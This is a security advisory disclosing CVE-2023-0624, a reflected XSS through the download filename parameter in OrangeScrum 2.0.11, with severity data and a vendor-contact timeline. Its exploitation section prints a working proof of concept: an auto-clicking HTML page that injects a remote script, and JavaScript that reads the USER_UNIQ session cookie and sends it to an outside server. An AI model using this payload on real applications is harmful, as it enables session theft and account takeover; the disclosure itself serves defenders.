

Advisories

OrangeScrum 2.0.11 - Reflected XSS via filename

7.3

High

Discovered by

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

OrangeScrum 2.0.11 - Reflected XSS via filename

Code name

Oberhofer

State

Public

Release date

Feb 13, 2023

Affected product

OrangeScrum

Affected version(s)

2.0.11

Vulnerability name

Reflected cross-site scripting (XSS)

Vulnerability type

008. Reflected cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

CVSS v3.1 base score

7.3

Exploit available

CVE ID(s)

CVE-2023-0624

Description

OrangeScrum version 2.0.11 allows an external attacker to obtain arbitrary user accounts from the application. This is possible because the application returns malicious user input in the response with the content-type set to text/html.

Vulnerability

This vulnerability occurs because the application returns malicious user input in the response with the content-type set to text/html.

Exploitation

To exploit this vulnerability, we only need to send the following malicious HTML code to an application user.

Exploit.html

<!DOCTYPE html>
<html>
 <body>
 <a id="exploit" href="https://retr02332bughunter.orangescrum.com/defect/defects/download?filename=%3Cscript+type=%27text/javascript%27+src=%27https://retr02332.com/exploit-utils.js%27%3E%3C/script%3E"> Exploit</a>
 <script>
 document.getElementById("exploit").click();
 </script>
 </body>
</html>

The malicious JavaScript that we embed in the page is as follows.

Exploit-utils.js

function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
}

let sessionCookie = `USER_UNIQ=${getCookie("USER_UNIQ")}`;

fetch("https://retr02332.com/leak?"+sessionCookie);

Thus, when the user clicks on the malicious link, it will send its session cookie to the attacker's server logs.

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-0624 to refer to this issue from now on. Disclosure policy

System Information

Version: OrangeScrum 2.0.11
Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

Vendor page https://github.com/Orangescrum/orangescrum/

Timeline



Vulnerability discovered

Feb 7, 2023



Vendor contacted

Feb 7, 2023



Vendor replied

Feb 7, 2023



Public disclosure

Feb 13, 2023

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